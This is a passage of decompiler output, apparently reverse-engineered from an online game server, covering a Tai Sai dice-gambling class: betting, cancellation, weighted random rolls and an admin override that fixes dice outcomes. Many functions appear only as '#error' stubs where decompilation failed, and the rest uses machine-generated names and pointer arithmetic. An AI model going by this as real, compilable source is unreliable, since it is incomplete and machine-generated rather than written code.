'#593' (funcsize=169)" //----- (005C99F0) -------------------------------------------------------- #error "5C99F0: undefined or illegal type '#593' (funcsize=189)" //----- (005C9C90) -------------------------------------------------------- #error "5C9C90: undefined or illegal type '#593' (funcsize=152)" //----- (005C9E90) -------------------------------------------------------- #error "5C9E90: undefined or illegal type '#593' (funcsize=133)" //----- (005CA040) -------------------------------------------------------- #error "5CA040: undefined or illegal type '#593' (funcsize=109)" //----- (005CA1B0) -------------------------------------------------------- #error "5CA1B0: undefined or illegal type '#593' (funcsize=195)" //----- (005CA440) -------------------------------------------------------- #error "5CA440: undefined or illegal type '#593' (funcsize=107)" //----- (005CA5A0) -------------------------------------------------------- #error "5CA5A0: undefined or illegal type '#593' (funcsize=159)" //----- (005CA7C0) -------------------------------------------------------- #error "5CA7C0: undefined or illegal type '#593' (funcsize=107)" //----- (005CA920) -------------------------------------------------------- #error "5CA920: undefined or illegal type '#593' (funcsize=207)" //----- (005CABD0) -------------------------------------------------------- char __thiscall CGambleDiceTaiSaiObject::GDTSO_SetDiceTaiSaiAllBettingInfo(CGambleDiceTaiSaiObject *this, GI_DiceTaiSai *pDiceTaiSaiInfo, DiceTaiSaiBetting *pTaiSaiBetting, char *bIsFirstBetting) { char result; // al@3 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_SetDiceTaiSaiAllBettingInfo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CGambleDiceTaiSaiObject::GDTSO_SetDiceTaiSaiAllBettingInfo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( pDiceTaiSaiInfo && pTaiSaiBetting ) { if ( bIsFirstBetting ) { if ( pTaiSaiBetting->nMoney ) { *bIsFirstBetting = 0; if ( !pDiceTaiSaiInfo->BetInfo.nBetMoney[pTaiSaiBetting->nBetting] ) *bIsFirstBetting = 1; pDiceTaiSaiInfo->BetInfo.nBetSumMoney += pTaiSaiBetting->nMoney; pDiceTaiSaiInfo->BetInfo.nBetMoney[pTaiSaiBetting->nBetting] += pTaiSaiBetting->nMoney; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_SetDiceTaiSaiAllBettingInfo"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_SetDiceTaiSaiAllBettingInfo"); result = 0; } } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_SetDiceTaiSaiAllBettingInfo"); result = 0; } } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_SetDiceTaiSaiAllBettingInfo"); result = 0; } return result; } //----- (005CAD20) -------------------------------------------------------- char __thiscall CGambleDiceTaiSaiObject::GDTSO_SetDiceTaiSaiAllBettingCancelInfo(CGambleDiceTaiSaiObject *this, GI_DiceTaiSai *pDiceTaiSaiInfo, DiceTaiSaiBetting *pTaiSaiBetting, char *bIsLastBettingCancel) { char result; // al@3 unsigned int v5; // edx@6 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v7; // [sp+14h] [bp-4h]@3 _.fe_FunctionCode = "CGambleDiceTaiSaiObject::GDTSO_SetDiceTaiSaiAllBettingCancelInfo"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_SetDiceTaiSaiAllBettingCancelInfo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CGambleDiceTaiSaiObject::GDTSO_SetDiceTaiSaiAllBettingCancelInfo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( pDiceTaiSaiInfo && pTaiSaiBetting ) { if ( bIsLastBettingCancel && (v5 = pTaiSaiBetting->nMoney) != 0 ) { if ( pDiceTaiSaiInfo->BetInfo.nBetMoney[pTaiSaiBetting->nBetting] >= v5 ) { pDiceTaiSaiInfo->BetInfo.nBetSumMoney -= pTaiSaiBetting->nMoney; pDiceTaiSaiInfo->BetInfo.nBetMoney[pTaiSaiBetting->nBetting] -= pTaiSaiBetting->nMoney; *bIsLastBettingCancel = 0; if ( !pDiceTaiSaiInfo->BetInfo.nBetMoney[pTaiSaiBetting->nBetting] ) *bIsLastBettingCancel = 1; v7 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 1; } else { v7 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 0; } } else { --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_SetDiceTaiSaiAllBettingCancelInfo"); result = 0; } } else { --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_SetDiceTaiSaiAllBettingCancelInfo"); result = 0; } return result; } //----- (005CAE60) -------------------------------------------------------- char __thiscall CGambleDiceTaiSaiObject::GDTSO_ClearDiceBettingInfo(CGambleDiceTaiSaiObject *this) { CGambleDiceTaiSaiObject *v1; // esi@1 int v2; // eax@1 signed int v3; // edx@1 int v4; // ecx@3 int v5; // edx@3 int v6; // edi@3 __int16 v7; // bx@3 int v8; // esi@3 int v9; // eax@3 unsigned int v11; // [sp+0h] [bp-4h]@1 v1 = this; v11 = (unsigned int)&v11 ^ __security_cookie; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_ClearDiceBettingInfo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CGambleDiceTaiSaiObject::GDTSO_ClearDiceBettingInfo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LODWORD(v1->G_DiceTaiSai.nBetSumMoney) = 0; HIDWORD(v1->G_DiceTaiSai.nBetSumMoney) = 0; v2 = (int)&v1->G_DiceTaiSai.BettingInfo[0].nPlayerCnt; v3 = 52; do { *(_DWORD *)(v2 - 8) = 0; *(_DWORD *)(v2 - 4) = 0; *(_WORD *)v2 = 0; v2 += 16; --v3; } while ( v3 ); v1->G_DiceTaiSai.nGameStatus = 0; v9 = *(_DWORD *)&v1->G_DiceTaiSai.History[0].nNumber[0]; v4 = *(_DWORD *)&v1->G_DiceTaiSai.History[1].nNumber[1]; v5 = *(_DWORD *)&v1->G_DiceTaiSai.History[2].nNumber[2]; v6 = *(_DWORD *)&v1->G_DiceTaiSai.History[4].nNumber[0]; v7 = *(_WORD *)&v1->G_DiceTaiSai.History[5].nNumber[1]; v8 = (int)&v1->G_DiceTaiSai.History[1]; *(_DWORD *)v8 = v9; *(_DWORD *)(v8 + 4) = v4; *(_DWORD *)(v8 + 8) = v5; *(_DWORD *)(v8 + 12) = v6; *(_WORD *)(v8 + 16) = v7; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_ClearDiceBettingInfo"); __security_check_cookie((unsigned int)&v11 ^ v11); return v9; } //----- (005CAF20) -------------------------------------------------------- char __thiscall CGambleDiceTaiSaiObject::GDTSO_SetDiceHistory(CGambleDiceTaiSaiObject *this) { CGambleDiceTaiSaiObject *v1; // esi@1 int v2; // eax@1 __int16 v3; // cx@1 char v4; // dl@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_SetDiceHistory"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CGambleDiceTaiSaiObject::GDTSO_SetDiceHistory"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (int)&v1->G_DiceTaiSai.CurrentRollingDice; v3 = *(_WORD *)&v1->G_DiceTaiSai.CurrentRollingDice.nNumber[0]; v4 = v1->G_DiceTaiSai.CurrentRollingDice.nNumber[2]; v1 = (CGambleDiceTaiSaiObject *)((char *)v1 + 80); LOWORD(v1->baseclass_0.vfptr) = v3; BYTE2(v1->baseclass_0.vfptr) = v4; *(_WORD *)v2 = 0; *(_BYTE *)(v2 + 2) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_SetDiceHistory"); return 1; } //----- (005CAF90) -------------------------------------------------------- char __thiscall CGambleDiceTaiSaiObject::GDTSO_ClearGamerBettingInfo(CGambleDiceTaiSaiObject *this) { CGambleObject *v1; // esi@1 char v2; // al@1 int v3; // edi@1 int v4; // ebx@1 int v5; // eax@2 int i; // [sp+10h] [bp-14h]@1 v1 = (CGambleObject *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_ClearGamerBettingInfo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CGambleDiceTaiSaiObject::GDTSO_ClearGamerBettingInfo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = CGambleObject::go_Get_EnterPlayerCnt(v1); v3 = (unsigned __int8)v2; v4 = 0; for ( i = (unsigned __int8)v2; v4 < v3; ++v4 ) { v5 = (int)v1->vfptr->GDTSO_GetDiceTaiSaiInfo(v1, v4); if ( v5 ) { *(_DWORD *)(v5 + 212) = 0; memset((void *)(v5 + 4), 0, 0xD0u); v3 = i; *(_DWORD *)(v5 + 216) = 0; *(_DWORD *)(v5 + 220) = 0; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_ClearGamerBettingInfo"); return 1; } //----- (005CB070) -------------------------------------------------------- unsigned __int16 __thiscall CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_CanAutoDiceRoll(CGambleDiceTaiSaiObject *this) { CGambleDiceTaiSaiObject *v1; // esi@1 int v2; // edx@1 unsigned __int16 result; // ax@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_CanAutoDiceRoll"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_CanAutoDiceRoll"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v2 = funcallanalizer.fca_stackpoint++ + 1; if ( v1->G_DiceTaiSai.nGameStatus == 1 ) { if ( HIDWORD(v1->G_DiceTaiSai.nBetSumMoney) || LODWORD(v1->G_DiceTaiSai.nBetSumMoney) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_CanAutoDiceRoll"); result = 9808; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_CanAutoDiceRoll"); result = 9814; } } else { funcallanalizer.fca_stackpoint = v2 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_CanAutoDiceRoll"); result = 9813; } return result; } //----- (005CB170) -------------------------------------------------------- unsigned __int16 __thiscall CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_DiceRoll(CGambleDiceTaiSaiObject *this) { CGambleDiceTaiSaiObject *v1; // edi@1 int v2; // edx@1 int v4; // esi@9 int v5; // edx@9 int v6; // eax@9 int v7; // edx@9 int v8; // esi@9 int v9; // ecx@10 int v10; // edx@11 int v11; // ecx@11 int v12; // edx@12 int v13; // ecx@12 int v14; // edx@13 int v15; // ecx@13 int v16; // edx@14 int v17; // ecx@14 int v18; // edx@15 int v19; // ecx@15 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_DiceRoll"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_DiceRoll"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v2 = funcallanalizer.fca_stackpoint++ + 1; if ( v1->G_DiceTaiSai.nGameStatus != 1 ) { funcallanalizer.fca_stackpoint = v2 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_DiceRoll"); return 9813; } if ( !HIDWORD(v1->G_DiceTaiSai.nBetSumMoney) && !LODWORD(v1->G_DiceTaiSai.nBetSumMoney) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_DiceRoll"); return 9814; } if ( v1->G_DiceTaiSai.bIsAdminDice == 1 ) { v1->G_DiceTaiSai.bIsAdminDice = 0; LABEL_8: v1->G_DiceTaiSai.nGameStatus = 2; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_DiceRoll"); return 9808; } v4 = rand() << 15; v5 = ((unsigned int)v4 | (unsigned __int64)(unsigned int)rand()) % v1->G_DiceTaiSai.nDiceRateSum; v6 = (int)&v1->G_DiceTaiSai.nDiceRate[1]; v7 = v5 + 1; v8 = 0; do { v9 = *(_WORD *)(v6 - 2); if ( v7 <= v9 ) break; v10 = v7 - v9; v11 = *(_WORD *)v6; if ( v10 <= v11 ) { ++v8; break; } v12 = v10 - v11; v13 = *(_WORD *)(v6 + 2); if ( v12 <= v13 ) { v8 += 2; break; } v14 = v12 - v13; v15 = *(_WORD *)(v6 + 4); if ( v14 <= v15 ) { v8 += 3; break; } v16 = v14 - v15; v17 = *(_WORD *)(v6 + 6); if ( v16 <= v17 ) { v8 += 4; break; } v18 = v16 - v17; v19 = *(_WORD *)(v6 + 8); if ( v18 <= v19 ) { v8 += 5; break; } v8 += 6; v7 = v18 - v19; v6 += 12; } while ( v8 < 216 ); if ( DiceTaiSai::ConvertDice(&gGBDiceTaiSai, v8, v1->G_DiceTaiSai.CurrentRollingDice.nNumber) ) goto LABEL_8; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_DiceRoll"); return 9810; } //----- (005CB360) -------------------------------------------------------- #error "5CB360: undefined or illegal type '#593' (funcsize=129)" //----- (005CB520) -------------------------------------------------------- #error "5CB520: undefined or illegal type '#593' (funcsize=129)" //----- (005CB6D0) -------------------------------------------------------- #error "5CB6D0: undefined or illegal type '#593' (funcsize=324)" //----- (005CBAF0) -------------------------------------------------------- #error "5CBAF0: undefined or illegal type '#593' (funcsize=265)" //----- (005CBEC0) -------------------------------------------------------- #error "5CBEC0: undefined or illegal type '#593' (funcsize=97)" //----- (005CC010) -------------------------------------------------------- #error "5CC010: undefined or illegal type '#593' (funcsize=149)" //----- (005CC220) -------------------------------------------------------- unsigned __int16 __thiscall CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_PrepareNextGame(CGambleDiceTaiSaiObject *this) { CGambleDiceTaiSaiObject *v1; // esi@1 int v2; // edx@1 unsigned __int16 result; // ax@2 int v4; // edx@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_PrepareNextGame"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_PrepareNextGame"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v2 = funcallanalizer.fca_stackpoint++ + 1; if ( v1->G_DiceTaiSai.nGameStatus == 2 ) { v4 = v1->G_DiceTaiSai.GambleActiveDice.DelayTime; v1->G_DiceTaiSai.nGameStatus = 3; v1->G_DiceTaiSai.bIsActiveTimerCheckTime = 1; v1->G_DiceTaiSai.nTimerCheckTime = clockwatch.cw_CurrTick + v4; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_PrepareNextGame"); result = 7376; } else { funcallanalizer.fca_stackpoint = v2 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_PrepareNextGame"); result = 9810; } return result; } //----- (005CC2F0) -------------------------------------------------------- #error "5CC2F0: undefined or illegal type '#593' (funcsize=116)" //----- (005CC490) -------------------------------------------------------- #error "5CC490: undefined or illegal type '#593' (funcsize=53)" //----- (005CC560) -------------------------------------------------------- #error "5CC560: undefined or illegal type '#593' (funcsize=146)" //----- (005CC740) -------------------------------------------------------- char __thiscall CGambleDiceTaiSaiObject::GDTSO_ClearDiceTaiSaiInfo(CGambleDiceTaiSaiObject *this) { CGambleDiceTaiSaiObject *v1; // esi@1 int v2; // ecx@1 char result; // al@2 bool v4; // ST17_1@3 int v5; // edx@5 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_ClearDiceTaiSaiInfo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CGambleDiceTaiSaiObject::GDTSO_ClearDiceTaiSaiInfo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v2 = funcallanalizer.fca_stackpoint++ + 1; if ( v1->G_GamerInfo ) { v4 = CGambleObject::go_Get_MaxEnterPlayerCnt((TickTimer *)v1); if ( CGambleObject::go_Get_EnterPlayerCnt(&v1->baseclass_0) < (unsigned __int8)v4 ) { v5 = (int)&v1->G_GamerInfo[(unsigned __int8)CGambleObject::go_Get_EnterPlayerCnt(&v1->baseclass_0)]; if ( v5 ) { *(_BYTE *)v5 = 0; *(_BYTE *)(v5 + 1) = 0; memset((void *)(v5 + 4), 0, 0xD0u); *(_DWORD *)(v5 + 212) = 0; *(_DWORD *)(v5 + 216) = 0; *(_DWORD *)(v5 + 220) = 0; *(_DWORD *)(v5 + 224) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_ClearDiceTaiSaiInfo"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_ClearDiceTaiSaiInfo"); result = 0; } } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_ClearDiceTaiSaiInfo"); result = 0; } } else { funcallanalizer.fca_stackpoint = v2 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_ClearDiceTaiSaiInfo"); result = 0; } return result; } //----- (005CC8B0) -------------------------------------------------------- char __thiscall CGambleDiceTaiSaiObject::GDTSO_SetDiceFix(CGambleDiceTaiSaiObject *this, DiceTaiSaiInfo *pDiceNum) { CGambleDiceTaiSaiObject *v2; // esi@1 DICE_TAISAI_GAME_STATUS v3; // ecx@2 char result; // al@4 int v5; // esi@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_SetDiceFix"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CGambleDiceTaiSaiObject::GDTSO_SetDiceFix"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( pDiceNum && ((v3 = v2->G_DiceTaiSai.nGameStatus) == 0 || v3 == 1) ) { v2->G_DiceTaiSai.bIsAdminDice = 1; v5 = (int)&v2->G_DiceTaiSai.CurrentRollingDice; *(_WORD *)v5 = *(_WORD *)&pDiceNum->nNumber[0]; *(_BYTE *)(v5 + 2) = pDiceNum->nNumber[2]; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_SetDiceFix"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_SetDiceFix"); result = 0; } return result; } //----- (005CC980) -------------------------------------------------------- char __thiscall CGambleDiceTaiSaiObject::GDTSO_SetDiceProbability(CGambleDiceTaiSaiObject *this, DiceTaiSaiInfo *pDiceNum, unsigned __int16 nDiceRate) { CGambleDiceTaiSaiObject *v3; // esi@1 unsigned int v4; // edi@2 int v5; // ebx@2 void *v6; // eax@3 char result; // al@6 char *v8; // ST00_4@7 DiceTaiSaiInfo *v9; // eax@9 unsigned __int16 v10; // cx@9 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_SetDiceProbability"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CGambleDiceTaiSaiObject::GDTSO_SetDiceProbability"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( pDiceNum ) { v8 = (char *)pDiceNum; pDiceNum = 0; if ( DiceTaiSai::ConvertDice(&gGBDiceTaiSai, v8, (int *)&pDiceNum) ) { v9 = pDiceNum; v10 = nDiceRate; v3->G_DiceTaiSai.nDiceRateSum += nDiceRate - v3->G_DiceTaiSai.nDiceRate[(_DWORD)pDiceNum]; v3->G_DiceTaiSai.nDiceRate[(_DWORD)v9] = v10; LABEL_10: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_SetDiceProbability"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_SetDiceProbability"); result = 0; } } else { v3->G_DiceTaiSai.nDiceRateSum = 0; v4 = 0; v5 = (int)v3->G_DiceTaiSai.nDiceRate; while ( 1 ) { v6 = CDataReader::GetRecord(&gGBDiceRate, v4); if ( !v6 ) break; *(_WORD *)v5 = *(_WORD *)v6; ++v4; v5 += 2; v3->G_DiceTaiSai.nDiceRateSum += *(_DWORD *)v6; if ( (signed int)v4 >= 216 ) goto LABEL_10; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_SetDiceProbability"); result = 0; } return result; } //----- (005CCB00) -------------------------------------------------------- GI_DiceTaiSai *__thiscall CGambleDiceTaiSaiObject::GDTSO_GetDiceTaiSaiInfo(CGambleDiceTaiSaiObject *this, int nIndex) { CGambleDiceTaiSaiObject *v2; // esi@1 int v3; // ecx@1 GI_DiceTaiSai *result; // eax@2 int v5; // eax@5 GI_DiceTaiSai *v6; // esi@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_GetDiceTaiSaiInfo 0"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CGambleDiceTaiSaiObject::GDTSO_GetDiceTaiSaiInfo 0"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v3 = funcallanalizer.fca_stackpoint++ + 1; if ( v2->G_GamerInfo ) { if ( nIndex < (unsigned __int8)CGambleObject::go_Get_EnterPlayerCnt(&v2->baseclass_0) ) { v5 = (int)&v2->G_GamerInfo[nIndex]; --funcallanalizer.fca_stackpoint; v6 = (GI_DiceTaiSai *)v5; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_GetDiceTaiSaiInfo 0"); result = v6; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_GetDiceTaiSaiInfo 0"); result = 0; } } else { funcallanalizer.fca_stackpoint = v3 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_GetDiceTaiSaiInfo 0"); result = 0; } return result; } //----- (005CCC20) -------------------------------------------------------- GI_DiceTaiSai *__thiscall CGambleDiceTaiSaiObject::GDTSO_GetDiceTaiSaiInfo(CGambleDiceTaiSaiObject *this, #593 *pPlayerObj) { CGambleDiceTaiSaiObject *v2; // edi@1 CGambleDiceTaiSaiObject::GambleGamerInfo *v3; // eax@1 int v4; // ecx@3 char v6; // al@5 GI_DiceTaiSai *v7; // esi@6 int nGetIndex; // [sp+8h] [bp-14h]@5 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v10; // [sp+18h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "CGambleDiceTaiSaiObject::GDTSO_GetDiceTaiSaiInfo 1"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_GetDiceTaiSaiInfo 1"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CGambleDiceTaiSaiObject::GDTSO_GetDiceTaiSaiInfo 1"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->G_GamerInfo; v10 = 0; if ( !v3 || !pPlayerObj ) { v4 = funcallanalizer.fca_stackpoint; v10 = -1; LABEL_4: funcallanalizer.fca_stackpoint = v4 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_GetDiceTaiSaiInfo 1"); return 0; } v6 = CGambleObject::go_Get_EnterPlayerIndex(&v2->baseclass_0, &nGetIndex, pPlayerObj); v4 = funcallanalizer.fca_stackpoint; v10 = -1; if ( !v6 ) goto LABEL_4; v7 = (GI_DiceTaiSai *)&v2->G_GamerInfo[nGetIndex]; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_GetDiceTaiSaiInfo 1"); return v7; } //----- (005CCD20) -------------------------------------------------------- GI_DiceTaiSai *__thiscall CGambleDiceTaiSaiObject::GDTSO_GetDiceTaiSaiInfo(CGambleDiceTaiSaiObject *this, unsigned __int16 nHandle) { CGambleDiceTaiSaiObject *v2; // edi@1 CGambleDiceTaiSaiObject::GambleGamerInfo *v3; // eax@1 int v4; // ecx@3 char v6; // al@5 GI_DiceTaiSai *v7; // esi@6 int nGetIndex; // [sp+8h] [bp-14h]@5 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v10; // [sp+18h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "CGambleDiceTaiSaiObject::GDTSO_GetDiceTaiSaiInfo 2"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_GetDiceTaiSaiInfo 2"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CGambleDiceTaiSaiObject::GDTSO_GetDiceTaiSaiInfo 2"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->G_GamerInfo; v10 = 0; if ( !v3 || nHandle == -1 ) { v4 = funcallanalizer.fca_stackpoint; v10 = -1; LABEL_4: funcallanalizer.fca_stackpoint = v4 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_GetDiceTaiSaiInfo 2"); return 0; } v6 = CGambleObject::go_Get_EnterPlayerIndex(&v2->baseclass_0, &nGetIndex, nHandle); v4 = funcallanalizer.fca_stackpoint; v10 = -1; if ( !v6 ) goto LABEL_4; v7 = (GI_DiceTaiSai *)&v2->G_GamerInfo[nGetIndex]; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_GetDiceTaiSaiInfo 2"); return v7; } //----- (005CCE20) -------------------------------------------------------- GI_DiceTaiSai *__thiscall CGambleDiceTaiSaiObject::GDTSO_GetDiceTaiSaiInfo(CGambleDiceTaiSaiObject *this, unsigned int nCharNo) { CGambleDiceTaiSaiObject *v2; // edi@1 CGambleDiceTaiSaiObject::GambleGamerInfo *v3; // eax@1 int v4; // ecx@3 char v6; // al@5 GI_DiceTaiSai *v7; // esi@6 int nGetIndex; // [sp+8h] [bp-14h]@5 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v10; // [sp+18h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "CGambleDiceTaiSaiObject::GDTSO_GetDiceTaiSaiInfo 3"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_GetDiceTaiSaiInfo 3"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CGambleDiceTaiSaiObject::GDTSO_GetDiceTaiSaiInfo 3"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; 